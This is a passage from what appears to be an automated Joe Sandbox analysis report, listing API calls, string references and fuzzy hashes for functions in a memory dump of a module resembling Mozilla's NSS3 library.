TlsGetValue.KERNEL32(?,?,?,?,?,6CDC3921,6CFA14E4,6CF0CC70), ref: 6CDC4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CDC3921,6CFA14E4,6CF0CC70), ref: 6CDC4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CDC3921,6CFA14E4,6CF0CC70), ref: 6CDC4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CDC3921,6CFA14E4,6CF0CC70), ref: 6CDC4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CDC3921,6CFA14E4,6CF0CC70), ref: 6CDC4D97
PR_Lock.NSS3(?,?,?,?,?,6CDC3921,6CFA14E4,6CF0CC70), ref: 6CDC4DBA
PR_WaitCondVar.NSS3 ref: 6CDC4DD4
PR_Unlock.NSS3(?,?,?,?,?,6CDC3921,6CFA14E4,6CF0CC70), ref: 6CDC4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CDC3921,6CFA14E4,6CF0CC70), ref: 6CDC4DEF

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 67c2476dc0c2501a0a3c69aac9d2ebe50500370f199de0bcfd3db733f4b695cb
Instruction ID: e163ec9411759f90a69588caddf228f1f58ff624d419b5c7b25f612e5f9e608a
Opcode Fuzzy Hash: 67c2476dc0c2501a0a3c69aac9d2ebe50500370f199de0bcfd3db733f4b695cb
Instruction Fuzzy Hash: 6B4160B5F14A15CFCB40BFB9D584669BBB8BF05314F168669D888D7720EB30D884CB82

Function 6CF57CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CF57CE0

Part of subcall function 6CF09BF0: TlsGetValue.KERNEL32(?,?,?,6CF50A75), ref: 6CF09C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF57D36
PR_Realloc.NSS3(?,00000080), ref: 6CF57D6D
PR_GetCurrentThread.NSS3 ref: 6CF57D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6CF57DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF57DD8
malloc.MOZGLUE(00000080), ref: 6CF57DF8
PR_GetCurrentThread.NSS3 ref: 6CF57E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6CF57DF0
:%s:%d:0x%lx, xrefs: 6CF57DB9

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: b0679fa4502c2b640b823ea1494f2aff0950fb71084e4f97955411f62a7d6433
Instruction ID: 5458d87fecea8a8d59e594a34a57ec8bce49a6cdce9b20c3963f25dfd28c41f8
Opcode Fuzzy Hash: b0679fa4502c2b640b823ea1494f2aff0950fb71084e4f97955411f62a7d6433
Instruction Fuzzy Hash: 224119B26102019FDB04CF28CC90A6B37B6FF91318B65852EE9198BB51D731ED21CBE1

Function 6CF57E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF57E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6CF57E46

Part of subcall function 6CE31240: TlsGetValue.KERNEL32(00000040,?,6CE3116C,NSPR_LOG_MODULES), ref: 6CE31267
Part of subcall function 6CE31240: EnterCriticalSection.KERNEL32(?,?,?,6CE3116C,NSPR_LOG_MODULES), ref: 6CE3127C
Part of subcall function 6CE31240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE3116C,NSPR_LOG_MODULES), ref: 6CE31291
Part of subcall function 6CE31240: PR_Unlock.NSS3(?,?,?,?,6CE3116C,NSPR_LOG_MODULES), ref: 6CE312A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6CF57EAF
PR_ImportFile.NSS3(?), ref: 6CF57ECF
PR_GetCurrentThread.NSS3 ref: 6CF57ED6
PR_ImportTCPSocket.NSS3(?), ref: 6CF57F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6CF57F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6CF57F15

Strings

NSPR_INHERIT_FDS, xrefs: 6CF57E41
%d:0x%lx, xrefs: 6CF57EA9

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 9f24c110fdc6cfeba29b8cd27835447fb48aedc44a948af9318f88fa269898cd
Instruction ID: 99f2241bb40dd2f7ed775d9e745f7affdce5bb19e3d81e5286457b3fa66c396c
Opcode Fuzzy Hash: 9f24c110fdc6cfeba29b8cd27835447fb48aedc44a948af9318f88fa269898cd
Instruction Fuzzy Hash: 07315771F242158BDB00DF69C840AEBB7B8FF26348F90852BDA0593611E7619D24C7D1

Function 6CE64E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE64E90
EnterCriticalSection.KERNEL32 ref: 6CE64EA9
TlsGetValue.KERNEL32 ref: 6CE64EC6
EnterCriticalSection.KERNEL32 ref: 6CE64EDF
PL_HashTableLookup.NSS3 ref: 6CE64EF8
PR_Unlock.NSS3 ref: 6CE64F05
PR_Now.NSS3 ref: 6CE64F13
PR_Unlock.NSS3 ref: 6CE64F3A

Part of subcall function 6CE307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDC204A), ref: 6CE307AD
Part of subcall function 6CE307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDC204A), ref: 6CE307CD
Part of subcall function 6CE307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDC204A), ref: 6CE307D6
Part of subcall function 6CE307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDC204A), ref: 6CE307E4
Part of subcall function 6CE307A0: TlsSetValue.KERNEL32(00000000,?,6CDC204A), ref: 6CE30864
Part of subcall function 6CE307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE30880
Part of subcall function 6CE307A0: TlsSetValue.KERNEL32(00000000,?,?,6CDC204A), ref: 6CE308CB
Part of subcall function 6CE307A0: TlsGetValue.KERNEL32(?,?,6CDC204A), ref: 6CE308D7
Part of subcall function 6CE307A0: TlsGetValue.KERNEL32(?,?,6CDC204A), ref: 6CE308FB

Strings

bUl, xrefs: 6CE64E5C
bUl, xrefs: 6CE64F3F

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUl$bUl
API String ID: 326028414-3943757760
Opcode ID: 847d8c1adbc8e57c54de751daddeb3d88ce5bf2df227a8b22bf727a1c2712ddb
Instruction ID: 8dbd3a16dca9c9382d6930e5c77542e49e9450582eaf1832b292df8d70b6c602
Opcode Fuzzy Hash: 847d8c1adbc8e57c54de751daddeb3d88ce5bf2df227a8b22bf727a1c2712ddb
Instruction Fuzzy Hash: BA415BB4A10605CFCB00EF79C0949AABBF0FF49358B118669EC599B710EB30E895CBD1

Function 6CE8ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CE8DE64), ref: 6CE8ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE8ED22

Part of subcall function 6CE9B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF718D0,?), ref: 6CE9B095

PL_FreeArenaPool.NSS3(?), ref: 6CE8ED4A
PL_FinishArenaPool.NSS3(?), ref: 6CE8ED6B
PR_CallOnce.NSS3(6CFA2AA4,6CEA12D0), ref: 6CE8ED38

Part of subcall function 6CDC4C70: TlsGetValue.KERNEL32(?,?,?,6CDC3921,6CFA14E4,6CF0CC70), ref: 6CDC4C97
Part of subcall function 6CDC4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDC3921,6CFA14E4,6CF0CC70), ref: 6CDC4CB0
Part of subcall function 6CDC4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDC3921,6CFA14E4,6CF0CC70), ref: 6CDC4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CE8ED52
PR_CallOnce.NSS3(6CFA2AA4,6CEA12D0), ref: 6CE8ED83
PL_FreeArenaPool.NSS3(?), ref: 6CE8ED95
PL_FinishArenaPool.NSS3(?), ref: 6CE8ED9D

Part of subcall function 6CEA64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CEA127C,00000000,00000000,00000000), ref: 6CEA650E

Strings

security, xrefs: 6CE8ED06

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 97bc990c48a905b9dd2e6fd3a5a8225d9924c6a5668f54633e24a10f3ebe451c
Instruction ID: 1991a8638ff81136916317d40a61ac08f6816880d23988a944fe96926b2f137b
Opcode Fuzzy Hash: 97bc990c48a905b9dd2e6fd3a5a8225d9924c6a5668f54633e24a10f3ebe451c
Instruction Fuzzy Hash: 98115739A01604AFE71057B5AC40BBF7278AF0360CF204429E81967F90F721A90E86E7

Function 6CE72CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CE72CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CE72D07

Part of subcall function 6CF509D0: PR_Now.NSS3 ref: 6CF50A22
Part of subcall function 6CF509D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF50A35
Part of subcall function 6CF509D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF50A66
Part of subcall function 6CF509D0: PR_GetCurrentThread.NSS3 ref: 6CF50A70
Part of subcall function 6CF509D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF50A9D
Part of subcall function 6CF509D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF50AC8
Part of subcall function 6CF509D0: PR_vsmprintf.NSS3(?,?), ref: 6CF50AE8
Part of subcall function 6CF509D0: EnterCriticalSection.KERNEL32(?), ref: 6CF50B19
Part of subcall function 6CF509D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF50B48
Part of subcall function 6CF509D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF50C76
Part of subcall function 6CF509D0: PR_LogFlush.NSS3 ref: 6CF50C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CE72D22

Part of subcall function 6CF509D0: OutputDebugStringA.KERNEL32(?), ref: 6CF50B88
Part of subcall function 6CF509D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF50C5D
Part of subcall function 6CF509D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CF50C8D
Part of subcall function 6CF509D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF50C9C
Part of subcall function 6CF509D0: OutputDebugStringA.KERNEL32(?), ref: 6CF50CD1
Part of subcall function 6CF509D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF50CEC
Part of subcall function 6CF509D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF50CFB
Part of subcall function 6CF509D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF50D16
Part of subcall function 6CF509D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CF50D26
Part of subcall function 6CF509D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF50D35
Part of subcall function 6CF509D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CF50D65
Part of subcall function 6CF509D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CF50D70
Part of subcall function 6CF509D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF50D90
Part of subcall function 6CF509D0: free.MOZGLUE(00000000), ref: 6CF50D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CE72D3B

Part of subcall function 6CF509D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF50BAB
Part of subcall function 6CF509D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF50BBA
Part of subcall function 6CF509D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF50D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CE72D54

Part of subcall function 6CF509D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF50BCB
Part of subcall function 6CF509D0: EnterCriticalSection.KERNEL32(?), ref: 6CF50BDE
Part of subcall function 6CF509D0: OutputDebugStringA.KERNEL32(?), ref: 6CF50C16

Strings

C_InitToken, xrefs: 6CE72CE7
slotID = 0x%x, xrefs: 6CE72D02
pPin = 0x%p, xrefs: 6CE72D1D
pLabel = 0x%p, xrefs: 6CE72D4F
ulPinLen = %d, xrefs: 6CE72D36

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: e6a169c6dd2e7fb7e16a2fdafdb1d74016d5ee7d1f3741498d8948dcfb0ae0bc
Instruction ID: 5c6dbf4e932bd2d49dbf2ac8a9661dd406a50f49249c1b580526c58f9d419843
Opcode Fuzzy Hash: e6a169c6dd2e7fb7e16a2fdafdb1d74016d5ee7d1f3741498d8948dcfb0ae0bc
Instruction Fuzzy Hash: E821C476B10140EFDB509BA5EE4CB897BB5EB5231DF548014EA0893B22CB729C18DB71

Function 6CF50EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CE32357), ref: 6CF50EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CE32357), ref: 6CF50EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CF50EE6

Part of subcall function 6CF509D0: PR_Now.NSS3 ref: 6CF50A22
Part of subcall function 6CF509D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF50A35
Part of subcall function 6CF509D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF50A66
Part of subcall function 6CF509D0: PR_GetCurrentThread.NSS3 ref: 6CF50A70
Part of subcall function 6CF509D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF50A9D
Part of subcall function 6CF509D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF50AC8
Part of subcall function 6CF509D0: PR_vsmprintf.NSS3(?,?), ref: 6CF50AE8
Part of subcall function 6CF509D0: EnterCriticalSection.KERNEL32(?), ref: 6CF50B19
Part of subcall function 6CF509D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF50B48
Part of subcall function 6CF509D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF50C76
Part of subcall function 6CF509D0: PR_LogFlush.NSS3 ref: 6CF50C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CF50EFA

Part of subcall function 6CE3AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CE3AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF50F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF50F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF50F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF50F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CF50ED9, 6CF50EE5, 6CF50F06, 6CF50F0B
Aborting, xrefs: 6CF50EB3

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: f41879578192134fc7b5f89c930cba4d3f9e0ceeb5330a6df910ce0786d48bfd
Instruction ID: 8d3a200d7cf26f475433f088a3161bafbdceb1ae20bb927480a98c18d171c726
Opcode Fuzzy Hash: f41879578192134fc7b5f89c930cba4d3f9e0ceeb5330a6df910ce0786d48bfd
Instruction Fuzzy Hash: 8EF0C2F6D001147BDE403FA0DC4AE9B3E3DDF82768F804024FE1956712DA76EA6496B2

Function 6CEB4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CEB4DCB

Part of subcall function 6CEA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE487ED,00000800,6CE3EF74,00000000), ref: 6CEA1000
Part of subcall function 6CEA0FF0: PR_NewLock.NSS3(?,00000800,6CE3EF74,00000000), ref: 6CEA1016
Part of subcall function 6CEA0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE487ED,00000008,?,00000800,6CE3EF74,00000000), ref: 6CEA102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CEB4DE1

Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA10F3
Part of subcall function 6CEA10C0: EnterCriticalSection.KERNEL32(?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA110C
Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1141
Part of subcall function 6CEA10C0: PR_Unlock.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1182
Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CEB4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEB4E59

Part of subcall function 6CE9FAB0: free.MOZGLUE(?,-00000001,?,?,6CE3F673,00000000,00000000), ref: 6CE9FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF7300C,00000000), ref: 6CEB4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CEB4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CEB4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEB521A

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: b699c5e3f9d28225cb2bad42b29416d02be2df39294da8f8b155f3a6bfc5e49d
Instruction ID: bd997807868229f8f6665c4d617367bda327009c554699f8fac3d9a7594364ea
Opcode Fuzzy Hash: b699c5e3f9d28225cb2bad42b29416d02be2df39294da8f8b155f3a6bfc5e49d
Instruction Fuzzy Hash: E5F18A71E01209CBDB04CF54E9407AEB7B2BF49358F35816AE915BB780E735E982CB90

Function 6CE44FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CF90148,?,6CE56FEC), ref: 6CE4502A
PR_NewLock.NSS3(00000001,00000000,6CF90148,?,6CE56FEC), ref: 6CE45034
PL_NewHashTable.NSS3(00000000,6CE9FE80,6CE9FD30,6CEEC350,00000000,00000000,00000001,00000000,6CF90148,?,6CE56FEC), ref: 6CE45055
PL_NewHashTable.NSS3(00000000,6CE9FE80,6CE9FD30,6CEEC350,00000000,00000000,?,00000001,00000000,6CF90148,?,6CE56FEC), ref: 6CE4506D

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: ba4103f05ba2c1d15c95d93ea9fe1c2942dc3854602d8eaeac15e7cde992528b
Instruction ID: dfbeb1fbea7e829e95107cf09b44b60d5877d6db103c668a303a0fd517273101
Opcode Fuzzy Hash: ba4103f05ba2c1d15c95d93ea9fe1c2942dc3854602d8eaeac15e7cde992528b
Instruction Fuzzy Hash: AC31E472F1A610DBDB408BA6A80CB4FB7B89B1371CF228015EA0983B40D3768404CBE1

Function 6CDE2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CDE2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CDE2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CDE3005
